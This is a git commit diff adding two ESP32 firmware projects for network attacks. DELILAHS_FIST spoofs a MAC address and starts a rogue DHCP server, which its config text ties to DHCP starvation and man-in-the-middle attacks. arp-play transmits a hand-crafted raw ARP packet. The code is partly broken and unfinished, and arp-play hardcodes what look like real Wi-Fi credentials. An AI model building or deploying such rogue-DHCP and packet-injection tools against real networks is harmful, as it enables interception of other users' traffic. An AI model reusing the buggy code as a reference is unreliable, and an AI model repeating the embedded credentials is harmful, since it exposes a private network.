commit b031059f95852ab19e81bdf7d78a308c5c3132da Author: PrincessPi3 Date: Tue May 26 22:16:15 2026 -0600 migrating diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..bed5a5b --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +*/.git/* +*/build/* diff --git a/DELILAHS_FIST/.gitignore b/DELILAHS_FIST/.gitignore new file mode 100644 index 0000000..d2926bc --- /dev/null +++ b/DELILAHS_FIST/.gitignore @@ -0,0 +1,6 @@ +sdkconfig +*.old +old +build +.vscode +*.code-workspace \ No newline at end of file diff --git a/DELILAHS_FIST/CMakeLists.txt b/DELILAHS_FIST/CMakeLists.txt new file mode 100644 index 0000000..8a87000 --- /dev/null +++ b/DELILAHS_FIST/CMakeLists.txt @@ -0,0 +1,9 @@ +# The following five lines of boilerplate have to be in your project's +# CMakeLists in this exact order for cmake to work correctly +cmake_minimum_required(VERSION 3.16) + +set(COMPONENTS main esp_netif lwip startup esp_hw_support esp_system nvs_flash esp_wifi) +# set(COMPONENTS main esp_netif startup esp_hw_support esp_system nvs_flash esp_wifi) + +include($ENV{IDF_PATH}/tools/cmake/project.cmake) +project(DELILAHS_FIST) diff --git a/DELILAHS_FIST/main/CMakeLists.txt b/DELILAHS_FIST/main/CMakeLists.txt new file mode 100644 index 0000000..0466c78 --- /dev/null +++ b/DELILAHS_FIST/main/CMakeLists.txt @@ -0,0 +1,2 @@ +idf_component_register(SRCS "DELILAHS_FIST.c" "helperFunctions.c" + INCLUDE_DIRS "." "include") diff --git a/DELILAHS_FIST/main/DELILAHS_FIST.c b/DELILAHS_FIST/main/DELILAHS_FIST.c new file mode 100644 index 0000000..852a62d --- /dev/null +++ b/DELILAHS_FIST/main/DELILAHS_FIST.c @@ -0,0 +1,326 @@ +// standard fare +#include +#include +#include +#include "esp_system.h" +#include "esp_wifi.h" +#include "esp_event.h" +#include "esp_log.h" +#include "nvs_flash.h" + +// free rtos +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +#include "freertos/event_groups.h" + +// esp netif +#include "esp_netif.h" +#include "esp_netif_types.h" + +// lwip +#include "lwip/inet.h" +#include "lwip/opt.h" +#include "lwip/sys.h" +#include "lwip/netdb.h" +#include "lwip/sockets.h" +#include "dhcpserver/dhcpserver.h" +#include "dhcpserver/dhcpserver_options.h" +#include "lwip/err.h" + +// custom stuff (include dir) +#include "DELILAHS_FIST.h" +// #include "helperFunctions.h" + +// Spoofed mac +// uint8_t mac[6] = {0x01,0x02,0x03,0x04,0x05,0x06}; + +// Time in seconds to loop raw_send_task +// float loopSeconds = 1; + +// Network timeout in seconds +// int timeoutSecs = 10; + +// packet contents +// static const char *payload = "LETS FUCKING GOOOOO LFGGGGGGGGG"; + +// Tag for logging +static const char *TAGSUCC = "GreatSucc:"; +static const char *TAGFAIL = "EPIC FAIL YOU SUCK:"; + +// wifi event group for freertos +static EventGroupHandle_t s_wifi_event_group; + +esp_netif_t* netifWifi; +// int err; +// int errcode; +// int sockfd; + +// ip info after connecting to AP +char str_ipv4[16]; // local ip os esp +char str_ipnm[16]; // netmask +char str_ipgw[16]; // gateway + +// set up the mac address +char *spoofMacString = SPOOFED_MAC_ADDRESS; +uint8_t mac[6]; + +// convert the string from config to mac +int convertStringToMac(char* macString) { + int values[6]; + int i; + // convert the string to uint8_t [6] array + if (6 == sscanf(macString, "%x:%x:%x:%x:%x:%x", + &values[0], &values[1], &values[2], + &values[3], &values[4], &values[5])) { + /* convert to u8int_t */ + for (i = 0; i < 6; ++i) { + mac[i] = (uint8_t)values[i]; + } + + return(0); + + } else { + return(1); + } + +} + +/** using lwip **/ +void DELILAHS_FIST(void *pvParameters) { + // decode DHCP server IP + esp_ip4_addr_t dhcpIP4; + ip4_addr_t dhcpIP; + + // convert DHCP_IP to esp_ip4_addr_t + esp_netif_str_to_ip4(DHCP_IP, &dhcpIP4); + + // convert esp_ip4_addr_t to ip4_addr_t + memcpy((char *)&dhcpIP, (char *)&dhcpIP4, sizeof(ip4_addr_t)); + + // set the newly converted ip address to be a new esp_netif_dns_info_t + // esp_netif_dns_info_t dnsInfo; + // dnsInfo = dhcpIP; + +// ip_addr_t dhcpIP; +// ip4addr_aton(DHCP_IP, &dhcpIP.addr.ip4); +// dhcpIP.type = IPADDR_TYPE_V4; + + dhcps_t *dhcps = dhcps_new(); + ESP_ERROR_CHECK(dhcps_start(dhcps, &netifWifi, dhcpIP)); +} + +/* NETIF code ( errors on DHCP not being startable ) +static void DELILAHS_FIST(void *pvParameters) { + // setup for dhcp + // enum esp_netif_dhcp_option_id_t; + // decode DHCP server IP + esp_ip4_addr_t dhcpIP4; + esp_ip_addr_t dhcpIP; + + // convert DHCP_IP to esp_ip4_addr_t + esp_netif_str_to_ip4(DHCP_IP, &dhcpIP4); + + // convert esp_ip4_addr_t to esp_ip_addr_t + memcpy((char *)&dhcpIP, (char *)&dhcpIP4, sizeof(esp_ip_addr_t)); + + // set the newly converted ip address to be a new esp_netif_dns_info_t + esp_netif_dns_info_t dnsInfo; + dnsInfo.ip = dhcpIP; + + // esp_netif_dhcp_option_id_t serverDNSOption = ESP_NETIF_DOMAIN_NAME_SERVER; + + // decode DNS server IP + // esp_ip4_addr_t *dnsIP; + // esp_netif_str_to_ip4(DNS_SERVER, dnsIP); + + // struct esp_netif_dns_info_t dns_ip_wraped = {dnsIP}; // wtf is this shit frong + //esp_netif_dns_info_t dns_ip_wraped = {*dnsIP}; + + // Set settings + // esp_err_t esp_netif_dhcps_option( + // esp_netif_t netWifif, // netif object + // ESP_NETIF_OP_SET, + // esp_netif_dhcp_option_id_t ESP_NETIF_CAPTIVEPORTAL_URI // typedef enum esp_netif_dhcp_option_id_t, + // *option_value, // pointer + // uint32_t option_length); + // ESP_ERROR_CHECK(esp_netif_dhcps_option(netifWifi, + // &serverDNSOption, + // &dnsInfo, + // sizeof(esp_netif_dns_info_t))); + + // config DHCP server + + // set DNS address + ESP_ERROR_CHECK(esp_netif_set_dns_info(netifWifi, ESP_NETIF_DNS_MAIN, &dnsInfo)); // set the dns server to one we specify + + // start DHCP serves + ESP_ERROR_CHECK(esp_netif_dhcps_start(netifWifi)); // start the server +} + +*/ +/* +static void raw_send_task(void *pvParameters) { + // configure the sockaddr + struct sockaddr_in dest_addr; + dest_addr.sin_addr.s_addr = inet_addr(DEST_IP_ADDR); + dest_addr.sin_family = AF_INET; + + if((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) { + ESP_LOGE(TAGFAIL, "Error creating socket: %d", errno); + } else { + ESP_LOGI(TAGSUCC, "Socket created"); + } + + // option lengths + int opt = 1; + int optlen = sizeof(int); + + // timeouts + struct timeval timeout; + timeout.tv_sec = timeoutSecs; + timeout.tv_usec = 0; + + // options + setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof timeout); + setsockopt(sockfd, SOL_SOCKET, SO_BROADCAST, &opt, sizeof(opt)); + setsockopt(sockfd, SOL_SOCKET, SO_ERROR, &err, optlen); + + if(err < 0) { + ESP_LOGE(TAGFAIL, "Error setting socket options: %d", err); + } else { + ESP_LOGI(TAGSUCC, "Socket options set"); + } + + while(1) { + int sendErr = sendto(sockfd, payload, strlen(payload), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); + + if(sendErr < 0) { + ESP_LOGE(TAGFAIL, "Error sending: %d", err); + } else { + ESP_LOGI(TAGSUCC, "Sent!\n\tLooping every %f seconds\n\tDst: %s\n\tPayload: %s\n\tTimeout: %d\n", loopSeconds, DEST_IP_ADDR, payload, timeoutSecs); + } + + // delay on loop + vTaskDelay((loopSeconds*1000) / portTICK_PERIOD_MS); + } +} +*/ + +static void event_handler(void* arg, esp_event_base_t event_base, + int32_t event_id, void* event_data) +{ + int retryCount = 0; + + if (event_base == WIFI_EVENT && event_id == WIFI_EVENT_STA_START) { + esp_wifi_connect(); + } else if (event_base == WIFI_EVENT && event_id == WIFI_EVENT_STA_DISCONNECTED) { + if (retryCount < ESP_MAXIMUM_RETRY) { + esp_wifi_connect(); + retryCount++; + ESP_LOGI(TAGSUCC, "Retrying to connect to the AP"); + } else { + xEventGroupSetBits(s_wifi_event_group, WIFI_FAIL_BIT); + } + ESP_LOGE(TAGFAIL,"Failed to connect to AP"); + } else if (event_base == IP_EVENT && event_id == IP_EVENT_STA_GOT_IP) { + ip_event_got_ip_t* event = (ip_event_got_ip_t*) event_data; + esp_ip4addr_ntoa(&event->ip_info.ip, str_ipv4, IP4ADDR_STRLEN_MAX); + esp_ip4addr_ntoa(&event->ip_info.netmask, str_ipnm, IP4ADDR_STRLEN_MAX); + esp_ip4addr_ntoa(&event->ip_info.gw, str_ipgw, IP4ADDR_STRLEN_MAX); + + ESP_LOGI(TAGSUCC, "Connected!\n\tIP: %s\n\tNetmask: %s\n\tGateway: %s\n\tSSID: %s\n\tMode: ESP_WIFI_MODE_STA\n\tAuth Threshold: %d\n\tMAC Address: %02x:%02x:%02x:%02x:%02x:%02x\n\tHostname: %s", + str_ipv4, + str_ipnm, + str_ipgw, + WIFI_SSID, + ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD, + mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], + HOSTNAME); + + retryCount = 0; + xEventGroupSetBits(s_wifi_event_group, WIFI_CONNECTED_BIT); + } +} + +void wifi_init_sta(void) +{ + s_wifi_event_group = xEventGroupCreate(); + + ESP_ERROR_CHECK(esp_netif_init()); + + ESP_ERROR_CHECK(esp_event_loop_create_default()); + netifWifi = esp_netif_create_default_wifi_sta(); + + ESP_ERROR_CHECK(esp_netif_set_mac(netifWifi, mac)); + ESP_ERROR_CHECK(esp_netif_set_hostname(netifWifi, HOSTNAME)); + + wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); + ESP_ERROR_CHECK(esp_wifi_init(&cfg)); + + esp_event_handler_instance_t instance_any_id; + esp_event_handler_instance_t instance_got_ip; + ESP_ERROR_CHECK(esp_event_handler_instance_register(WIFI_EVENT, + ESP_EVENT_ANY_ID, + &event_handler, + NULL, + &instance_any_id)); + ESP_ERROR_CHECK(esp_event_handler_instance_register(IP_EVENT, + IP_EVENT_STA_GOT_IP, + &event_handler, + NULL, + &instance_got_ip)); + + wifi_config_t wifi_config = { + .sta = { + .ssid = WIFI_SSID, + .password = WIFI_PSK, + .threshold.authmode = ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD, + .sae_pwe_h2e = ESP_WIFI_SAE_MODE, + .sae_h2e_identifier = H2E_IDENTIFIER, + }, + }; + ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_STA)); + ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_STA, &wifi_config)); + ESP_ERROR_CHECK(esp_wifi_start()); + + ESP_LOGI(TAGSUCC, "wifi_init_sta finished."); + + /* Waiting until either the connection is established (WIFI_CONNECTED_BIT) or connection failed for the maximum + * number of re-tries (WIFI_FAIL_BIT). The bits are set by event_handler() (see above) */ + EventBits_t bits = xEventGroupWaitBits(s_wifi_event_group, + WIFI_CONNECTED_BIT | WIFI_FAIL_BIT, + pdFALSE, + pdFALSE, + portMAX_DELAY); + + /* xEventGroupWaitBits() returns the bits before the call returned, hence we can test which event actually + * happened. */ + if (bits & WIFI_CONNECTED_BIT) { + ESP_LOGI(TAGSUCC, "connected to ap SSID: %s", WIFI_SSID); + // fork raw_send_task to FreeRTOS task + xTaskCreate(DELILAHS_FIST, "DELILAHS_FIST", 4096, NULL, 5, NULL); + + ESP_LOGI(TAGSUCC, "Connected to AP- Sending packets"); + } else if (bits & WIFI_FAIL_BIT) { + ESP_LOGE(TAGFAIL, "Failed to connect to SSID:%s, password:%s", WIFI_SSID, WIFI_PSK); + } else { + ESP_LOGE(TAGFAIL, "FAILURE: UNEXPECTED EVENT"); + } +} + +void app_main(void) +{ + //Initialize NVS + esp_err_t ret = nvs_flash_init(); + if (ret == ESP_ERR_NVS_NO_FREE_PAGES || ret == ESP_ERR_NVS_NEW_VERSION_FOUND) { + ESP_ERROR_CHECK(nvs_flash_erase()); + ret = nvs_flash_init(); + } + ESP_ERROR_CHECK(ret); + + ESP_LOGI(TAGSUCC, "ESP_WIFI_MODE_STA"); + + convertStringToMac(spoofMacString); + + wifi_init_sta(); +} \ No newline at end of file diff --git a/DELILAHS_FIST/main/Kconfig.projbuild b/DELILAHS_FIST/main/Kconfig.projbuild new file mode 100644 index 0000000..5c0a0e2 --- /dev/null +++ b/DELILAHS_FIST/main/Kconfig.projbuild @@ -0,0 +1,96 @@ +menu "Project Configuration" + + config WIFI_SSID + string "WiFi SSID" + default "myssid" + help + SSID (network name) for the example to connect to. + + config WIFI_PSK + string "WiFi Password" + default "mypassword" + help + WiFi password (WPA or WPA2) for the example to use. + + config HOSTNAME + string "Hostname" + default "DELILAHS-FIST" + help + Hostname lol + + config DHCP_IP + string "DHCP Server Address" + default "192.168.4.1" + help + ASCII string notation of DHCP server's IPv4 address. + Used in DELILAHS_FIST attacks and MitM attacks. + + config DNS_SERVER + string "DNS Server Address" + default "1.0.0.1" + help + ASCII string notation of DHCP server's DNS server. + Used in DELILAHS_FIST attacks and MitM attacks. + + config SPOOFED_MAC_ADDRESS + string "Spoofed MAC Address" + default "01:02:03:04:05:66" + help + Set the spoofed MAC address manually as string, format "%x:%x:%x:%x:%x:%x" + + config ESP_MAXIMUM_RETRY + int "Maximum retry" + default 3 + help + Set the Maximum retry to avoid station reconnecting to the AP unlimited when the AP is really inexistent. + +endmenu + +menu "Advanced Wifi Configuration" + + choice ESP_WIFI_SAE_MODE + prompt "WPA3 SAE mode selection" + default ESP_WPA3_SAE_PWE_BOTH + help + Select mode for SAE as Hunt and Peck, H2E or both. + config ESP_WPA3_SAE_PWE_HUNT_AND_PECK + bool "HUNT AND PECK" + config ESP_WPA3_SAE_PWE_HASH_TO_ELEMENT + bool "H2E" + config ESP_WPA3_SAE_PWE_BOTH + bool "BOTH" + endchoice + + config ESP_WIFI_PW_ID + string "PASSWORD IDENTIFIER" + depends on ESP_WPA3_SAE_PWE_HASH_TO_ELEMENT|| ESP_WPA3_SAE_PWE_BOTH + default "" + help + password identifier for SAE H2E + + choice ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD + prompt "WiFi Scan auth mode threshold" + default ESP_WIFI_AUTH_WPA2_PSK + help + The weakest authmode to accept in the scan mode. + This value defaults to ESP_WIFI_AUTH_WPA2_PSK incase password is present and ESP_WIFI_AUTH_OPEN is used. + Please select ESP_WIFI_AUTH_WEP/ESP_WIFI_AUTH_WPA_PSK incase AP is operating in WEP/WPA mode. + + config ESP_WIFI_AUTH_OPEN + bool "OPEN" + config ESP_WIFI_AUTH_WEP + bool "WEP" + config ESP_WIFI_AUTH_WPA_PSK + bool "WPA PSK" + config ESP_WIFI_AUTH_WPA2_PSK + bool "WPA2 PSK" + config ESP_WIFI_AUTH_WPA_WPA2_PSK + bool "WPA/WPA2 PSK" + config ESP_WIFI_AUTH_WPA3_PSK + bool "WPA3 PSK" + config ESP_WIFI_AUTH_WPA2_WPA3_PSK + bool "WPA2/WPA3 PSK" + config ESP_WIFI_AUTH_WAPI_PSK + bool "WAPI PSK" + endchoice +endmenu \ No newline at end of file diff --git a/DELILAHS_FIST/main/README.md b/DELILAHS_FIST/main/README.md new file mode 100644 index 0000000..f0456e6 --- /dev/null +++ b/DELILAHS_FIST/main/README.md @@ -0,0 +1,2 @@ +# DELILAHS_FIST for ESP32 +## Coming Soon... \ No newline at end of file diff --git a/DELILAHS_FIST/main/helperFunctions.c b/DELILAHS_FIST/main/helperFunctions.c new file mode 100644 index 0000000..3efb2aa --- /dev/null +++ b/DELILAHS_FIST/main/helperFunctions.c @@ -0,0 +1,3 @@ +// #include +// #include "helperFunctions.h" + diff --git a/DELILAHS_FIST/main/include/DELILAHS_FIST.h b/DELILAHS_FIST/main/include/DELILAHS_FIST.h new file mode 100644 index 0000000..4c82db1 --- /dev/null +++ b/DELILAHS_FIST/main/include/DELILAHS_FIST.h @@ -0,0 +1,37 @@ +#define WIFI_SSID CONFIG_WIFI_SSID +#define WIFI_PSK CONFIG_WIFI_PSK +#define HOSTNAME CONFIG_HOSTNAME +#define DHCP_IP CONFIG_DHCP_IP +#define DNS_SERVER CONFIG_DNS_SERVER +#define ESP_MAXIMUM_RETRY CONFIG_ESP_MAXIMUM_RETRY +#define SPOOFED_MAC_ADDRESS CONFIG_SPOOFED_MAC_ADDRESS +#define WIFI_CONNECTED_BIT BIT0 +#define WIFI_FAIL_BIT BIT1 + +#if CONFIG_ESP_WPA3_SAE_PWE_HUNT_AND_PECK +#define ESP_WIFI_SAE_MODE WPA3_SAE_PWE_HUNT_AND_PECK +#define H2E_IDENTIFIER "" +#elif CONFIG_ESP_WPA3_SAE_PWE_HASH_TO_ELEMENT +#define ESP_WIFI_SAE_MODE WPA3_SAE_PWE_HASH_TO_ELEMENT +#define H2E_IDENTIFIER CONFIG_ESP_WIFI_PW_ID +#elif CONFIG_ESP_WPA3_SAE_PWE_BOTH +#define ESP_WIFI_SAE_MODE WPA3_SAE_PWE_BOTH +#define H2E_IDENTIFIER CONFIG_ESP_WIFI_PW_ID +#endif +#if CONFIG_ESP_WIFI_AUTH_OPEN +#define ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_OPEN +#elif CONFIG_ESP_WIFI_AUTH_WEP +#define ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WEP +#elif CONFIG_ESP_WIFI_AUTH_WPA_PSK +#define ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WPA_PSK +#elif CONFIG_ESP_WIFI_AUTH_WPA2_PSK +#define ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WPA2_PSK +#elif CONFIG_ESP_WIFI_AUTH_WPA_WPA2_PSK +#define ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WPA_WPA2_PSK +#elif CONFIG_ESP_WIFI_AUTH_WPA3_PSK +#define ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WPA3_PSK +#elif CONFIG_ESP_WIFI_AUTH_WPA2_WPA3_PSK +#define ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WPA2_WPA3_PSK +#elif CONFIG_ESP_WIFI_AUTH_WAPI_PSK +#define ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WAPI_PSK +#endif \ No newline at end of file diff --git a/DELILAHS_FIST/main/include/helperFunctions.h b/DELILAHS_FIST/main/include/helperFunctions.h new file mode 100644 index 0000000..899dd99 --- /dev/null +++ b/DELILAHS_FIST/main/include/helperFunctions.h @@ -0,0 +1,2 @@ +// extern uint8_t mac[6]; +// extern int convertStringToMac(char *macString); \ No newline at end of file diff --git a/DELILAHS_FIST/notes.txt b/DELILAHS_FIST/notes.txt new file mode 100644 index 0000000..d091886 --- /dev/null +++ b/DELILAHS_FIST/notes.txt @@ -0,0 +1,107 @@ +== WIFI == +https://github.com/espressif/esp-idf/tree/v5.2.3/examples/wifi/getting_started/station + + +== SOCKETS == + +https://pubs.opengroup.org/onlinepubs/007908799/xns/socket.html + +// socket functions +https://docs.espressif.com/projects/esp-idf/en/stable/esp32/api-guides/lwip.html#bsd-sockets-api + +// socket options for setsocketopt() +https://docs.espressif.com/projects/esp-idf/en/stable/esp32/api-guides/lwip.html#socket-options + +// socket error handling +https://docs.espressif.com/projects/esp-idf/en/stable/esp32/api-guides/lwip.html#socket-error-handling + // error codes + https://github.com/espressif/newlib-esp32/blob/master/newlib/libc/include/sys/errno.h + +// sockets header file +https://github.com/espressif/esp-lwip/blob/6bc36ec/src/include/lwip/sockets.h + + +socket(address_family, type, protocol) + Address Family: + AF_INET // ipv4 + AF_INET6 // ipv6 + AF_UNSPEC // unspecified? + Type: + SOCK_STREAM // tcp + SOCK_DGRAM // udp + SOCK_RAW // raw + Protocols: + IPPROTO_IP + IPPROTO_ICMP + IPPROTO_TCP + IPPROTO_UDP + IPPROTO_IPV6 + IPPROTO_ICMPV6 + IPPROTO_UDPLITE + IPPROTO_RAW + +setsockopt(socket, level) + Level: + SOL_SOCKET + SO_REUSEADDR // Allow local address reuse + SO_KEEPALIVE // keep connections alive + SO_BROADCAST // permit to send and to receive broadcast messages (see IP_SOF_BROADCAST option) + SO_DEBUG // Unimplemented: turn on debugging info recording + SO_ACCEPTCONN // socket has had listen() + SO_DONTROUTE // Unimplemented: just use interface addresses + SO_USELOOPBACK // Unimplemented: bypass hardware when possible + SO_LINGER // linger on close if data present + SO_DONTLINGER ((int)(~SO_LINGER)) // ? + SO_OOBINLINE // Unimplemented: leave received OOB data in line + SO_REUSEPORT // Unimplemented: allow local address & port reuse + SO_SNDBUF // Unimplemented: send buffer size + SO_RCVBUF // receive buffer size + SO_SNDLOWAT // Unimplemented: send low-water mark + SO_RCVLOWAT // Unimplemented: receive low-water mark + SO_SNDTIMEO // send timeout + SO_RCVTIMEO // receive timeout + SO_ERROR // get error status and clear + SO_TYPE // get socket type + SO_CONTIMEO // Unimplemented: connect timeout + SO_NO_CHECK // don't create UDP checksum + SO_BINDTODEVICE // bind to device + IPPROTO_IP + IPPROTO_TCP + IPPROTO_IPV6 + IPPROTO_UDPLITE + + + + +struct raw_pcb * raw_new (u8_t proto); +err_t raw_connect (struct raw_pcb *pcb, const ip_addr_t *ipaddr); +void raw_disconnect (struct raw_pcb *pcb); +err_t raw_bind (struct raw_pcb *pcb, const ip_addr_t *ipaddr); +err_t raw_sendto (struct raw_pcb *pcb, struct pbuf *p, const ip_addr_t *ipaddr); +err_t raw_send (struct raw_pcb *pcb, struct pbuf *p);\ +void raw_recv (struct raw_pcb *pcb, raw_recv_fn recv, void *recv_arg); + + + +== DHCP == +DHCP Starvation attack +Delilah's Fist + +/* NETIF */ + // esp_netif_dhcps_option - Set or Get DHCP server option. + https://docs.espressif.com/projects/esp-idf/en/stable/esp32/api-reference/network/esp_netif.html?highlight=dhcp#_CPPv422esp_netif_dhcps_optionP11esp_netif_t28esp_netif_dhcp_option_mode_t26esp_netif_dhcp_option_id_tPv8uint32_t + // esp_netif_dhcps_start - Start DHCP server (only if enabled in interface object) + https://docs.espressif.com/projects/esp-idf/en/stable/esp32/api-reference/network/esp_netif.html?highlight=dhcp#_CPPv421esp_netif_dhcps_startP11esp_netif_t + // esp_netif_set_dns_info - Set DNS Server information (DHCP in this case) + https://docs.espressif.com/projects/esp-idf/en/stable/esp32/api-reference/network/esp_netif.html?highlight=dhcp#_CPPv422esp_netif_set_dns_infoP11esp_netif_t20esp_netif_dns_type_tP20esp_netif_dns_info_t + +/* LWIP */ + // header file + https://github.com/espressif/esp-idf/blob/6e5a178b3120dced7fa5c29c655cc22ea182df3d/components/lwip/include/apps/dhcpserver/dhcpserver.h + + // options + https://github.com/espressif/esp-idf/blob/6e5a178b3120dced7fa5c29c655cc22ea182df3d/components/lwip/include/apps/dhcpserver/dhcpserver_options.h + + // source file + https://github.com/espressif/esp-idf/blob/6e5a178b3120dced7fa5c29c655cc22ea182df3d/components/lwip/apps/dhcpserver/dhcpserver.c +https://docs.espressif.com/projects/esp-idf/en/stable/esp32/api-reference/network/esp_netif.html?highlight=dhcp#_CPPv422esp_netif_action_startPv16esp_event_base_t7int32_tPv \ No newline at end of file diff --git a/DELILAHS_FIST/sdkconfig.defaults b/DELILAHS_FIST/sdkconfig.defaults new file mode 100644 index 0000000..b4333bf --- /dev/null +++ b/DELILAHS_FIST/sdkconfig.defaults @@ -0,0 +1,10 @@ +# This file was generated using idf.py save-defconfig. It can be edited manually. +# Espressif IoT Development Framework (ESP-IDF) 5.4.0 Project Minimal Configuration +# +CONFIG_BOOTLOADER_LOG_LEVEL_ERROR=y +CONFIG_ESPTOOLPY_HEADER_FLASHSIZE_UPDATE=y +CONFIG_COMPILER_OPTIMIZATION_SIZE=y +CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ_240=y +CONFIG_ESP_SYSTEM_PANIC_PRINT_HALT=y +CONFIG_LWIP_IPV6=n +CONFIG_ESP_WIFI_SOFTAP_SUPPORT=n diff --git a/arp-play/.gitignore b/arp-play/.gitignore new file mode 100644 index 0000000..bfe2f97 --- /dev/null +++ b/arp-play/.gitignore @@ -0,0 +1,4 @@ +build +sdkconfig +*.old +.vscode \ No newline at end of file diff --git a/arp-play/CMakeLists.txt b/arp-play/CMakeLists.txt new file mode 100644 index 0000000..c15c924 --- /dev/null +++ b/arp-play/CMakeLists.txt @@ -0,0 +1,6 @@ +# The following five lines of boilerplate have to be in your project's +# CMakeLists in this exact order for cmake to work correctly +cmake_minimum_required(VERSION 3.16) + +include($ENV{IDF_PATH}/tools/cmake/project.cmake) +project(arp-play) diff --git a/arp-play/main/CMakeLists.txt b/arp-play/main/CMakeLists.txt new file mode 100644 index 0000000..9df009d --- /dev/null +++ b/arp-play/main/CMakeLists.txt @@ -0,0 +1,2 @@ +idf_component_register(SRCS "arp-play.c" + INCLUDE_DIRS ".") \ No newline at end of file diff --git a/arp-play/main/arp-play.c b/arp-play/main/arp-play.c new file mode 100644 index 0000000..1a32bc3 --- /dev/null +++ b/arp-play/main/arp-play.c @@ -0,0 +1,125 @@ +#include +#include +#include +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +#include "freertos/event_groups.h" +#include "esp_system.h" +#include "esp_wifi.h" +#include "esp_event_loop.h" +#include "sdkconfig.h" +#include "esp_log.h" +#include "esp_err.h" +#include "nvs_flash.h" + +#include "lwip/esp_netif_net_stack.h" +#include "lwip/err.h" +#include "lwip/sockets.h" +#include "lwip/sys.h" +#include "lwip/netdb.h" +#include "lwip/inet.h" +#include "lwip/esp_pbuf_ref.h" +#include "lwip/pbuf.h" +#include "lwip/opt.h" + +#include "esp_netif_net_stack.h" +#include "netif/etharp.h" +#include "lwip/etharp.h" +#include "lwip/netif.h" +#include "esp_netif_types.h" + +char *ssid = "Riolu-Love"; +char *psk = "HomageToTheDoctor^$^"; +char *payload = "\xff\xff\xff\xff\xff\xff,\xcfg\ti\xf1\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01,\xcfg\ti\xf1\n\x00\x00\xca\x00\x00\x00\x00\x00\x00\n\x00\x00\xff"; +uint8_t mac[8] = {0x01,0x02,0x03,0x04,0x05,0x06}; + +static const char *TAG = "PrincessPiARPMessage"; +wifi_config_t wifi_sta_config; +int espIp; +size_t payloadSize = sizeof(payload); + +void wifi_sta_event_handler(void* arg, esp_event_base_t event_base, int32_t event_id, void* event_data) { + if (event_base == WIFI_EVENT) { + switch (event_id) { + case WIFI_EVENT_STA_START: + ESP_LOGI(TAG, "WIFI_EVENT_STA_START"); + esp_wifi_connect(); + break; + case WIFI_EVENT_STA_DISCONNECTED: + ESP_LOGI(TAG, "WIFI_EVENT_STA_DISCONNECTED"); + esp_wifi_connect(); + break; + } + } + else if (event_base == IP_EVENT) { + switch (event_id) { + case IP_EVENT_STA_GOT_IP: { + ip_event_got_ip_t* event = event_data; + ESP_LOGI(TAG, "Station connected with IP: "IPSTR", GW: "IPSTR", Mask: "IPSTR".", + IP2STR(&event->ip_info.ip), + IP2STR(&event->ip_info.gw), + IP2STR(&event->ip_info.netmask)); + + espIp = IP2STR(&event->ip_info.ip); + break; + } + } + } +} + +void wifiInit() { + // NVS: Required by WiFi Driver + esp_err_t ret = nvs_flash_init(); + if (ret == ESP_ERR_NVS_NO_FREE_PAGES || ret == ESP_ERR_NVS_NEW_VERSION_FOUND) { + ESP_ERROR_CHECK(nvs_flash_erase()); + ret = nvs_flash_init(); + } + ESP_ERROR_CHECK(ret); + + ESP_ERROR_CHECK(esp_netif_init()); + ESP_ERROR_CHECK(esp_event_loop_create_default()); +} + + esp_netif_t* wifiClientInit(char *ssid, char *psk) { + esp_netif_t* netif = esp_netif_create_default_wifi_sta(); + + ESP_ERROR_CHECK(esp_event_handler_instance_register(WIFI_EVENT, ESP_EVENT_ANY_ID, &wifi_sta_event_handler, NULL, NULL)); + ESP_ERROR_CHECK(esp_event_handler_instance_register(IP_EVENT, IP_EVENT_STA_GOT_IP, &wifi_sta_event_handler, NULL, NULL)); + + strcpy((char *)wifi_sta_config.sta.ssid, ssid); + strcpy((char *)wifi_sta_config.sta.password, psk); + + return(netif); +} + +void wifiRun() { + wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); + + ESP_ERROR_CHECK(esp_wifi_init(&cfg)); + + ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_STA)); + + ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_STA, &wifi_sta_config)); + + ESP_ERROR_CHECK(esp_wifi_start()); +} + +void executeLowLevelPayloads(esp_netif_t* netif, char *payload, uint8_t mac[]) { + //struct pbuf* packetBuf = pbuf_alloc(PBUF_RAW, payloadSize, PBUF_RAM); + //ESP_ERROR_CHECK(wlanif_init(netif)); + //ESP_ERROR_CHECK(esp_netif_set_mac(netif, mac)); + // memcpy(packetBuf->payload, payload, payloadSize); + + ESP_ERROR_CHECK(esp_netif_transmit(netif, payload, payloadSize)); + //low_level_output(netif, packetBuf); +} + +void app_main(void) { + wifiInit(); + + esp_netif_t* netif = wifiClientInit(ssid, psk); + + wifiRun(); + + executeLowLevelPayloads(netif, payload, mac); +} \ No newline at end of file diff --git a/arp-play/notes.txt b/arp-play/notes.txt new file mode 100644 index 0000000..8453bf1 --- /dev/null +++ b/arp-play/notes.txt @@ -0,0 +1,292 @@ +// GRATUITOUS_ARP/GARP must be enabled in sdkconfig +// CONFIG_ESP_WIFI_SOFTAP_SUPPORT must be true +esp_err_t esp_netif_init(void); +esp_netif_t *esp_netif_new(const esp_netif_config_t 